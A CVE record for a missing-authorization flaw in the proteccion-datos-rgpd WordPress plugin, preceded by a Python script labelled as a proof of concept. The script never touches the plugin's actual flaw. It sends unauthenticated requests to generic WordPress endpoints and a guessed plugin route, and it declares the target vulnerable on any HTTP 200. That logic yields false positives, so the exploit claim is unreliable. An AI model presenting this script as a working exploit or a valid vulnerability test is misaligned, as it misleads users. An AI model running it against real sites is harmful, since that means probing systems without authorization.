CVE-2026-24539

import requests # CVE-2026-24539 PoC - Missing Authorization in proteccion-datos-rgpd WordPress plugin # Target: WordPress site with proteccion-datos-rgpd plugin <= 0.68 TARGET_URL = "http://target-wordpress-site.com" def check_vulnerability(): """ This PoC demonstrates how an unauthenticated user can access protected endpoints due to missing authorization checks in the plugin. """ # Common endpoints that might be affected endpoints = [ "/wp-admin/admin-ajax.php", "/wp-json/wp/v2/users", "/?rest_route=/proteccion-datos-rgpd/v1/" ] for endpoint in endpoints: url = f"{TARGET_URL}{endpoint}" try: # Send request without authentication response = requests.get(url, timeout=10) # Check if we can access sensitive data without auth if response.status_code == 200: print(f"[+] Vulnerable endpoint found: {endpoint}") print(f"[+] Response: {response.text[:500]}") return True except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") return False if __name__ == "__main__": print("CVE-2026-24539 PoC - Testing for Missing Authorization") if check_vulnerability(): print("[!] Target is vulnerable to CVE-2026-24539") else: print("[-] Target may not be vulnerable")

{"cve": {"id": "CVE-2026-24539", "sourceIdentifier": "[email protected]", "published": "2026-01-23T15:16:10.050", "lastModified": "2026-04-28T19:36:49.110", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in ABCdatos Protección de datos – RGPD proteccion-datos-rgpd allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Protección de datos – RGPD: from n/a through <= 0.68."}, {"lang": "es", "value": "Vulnerabilidad de Falta de Autorización en ABCdatos Protección de datos – RGPD proteccion-datos-rgpd permite Explotar Niveles de Seguridad de Control de Acceso Mal Configurados. Este problema afecta a Protección de datos – RGPD: desde n/a hasta &lt;= 0.68."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/proteccion-datos-rgpd/vulnerability/wordpress-proteccion-de-datos-rgpd-plugin-0-68-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}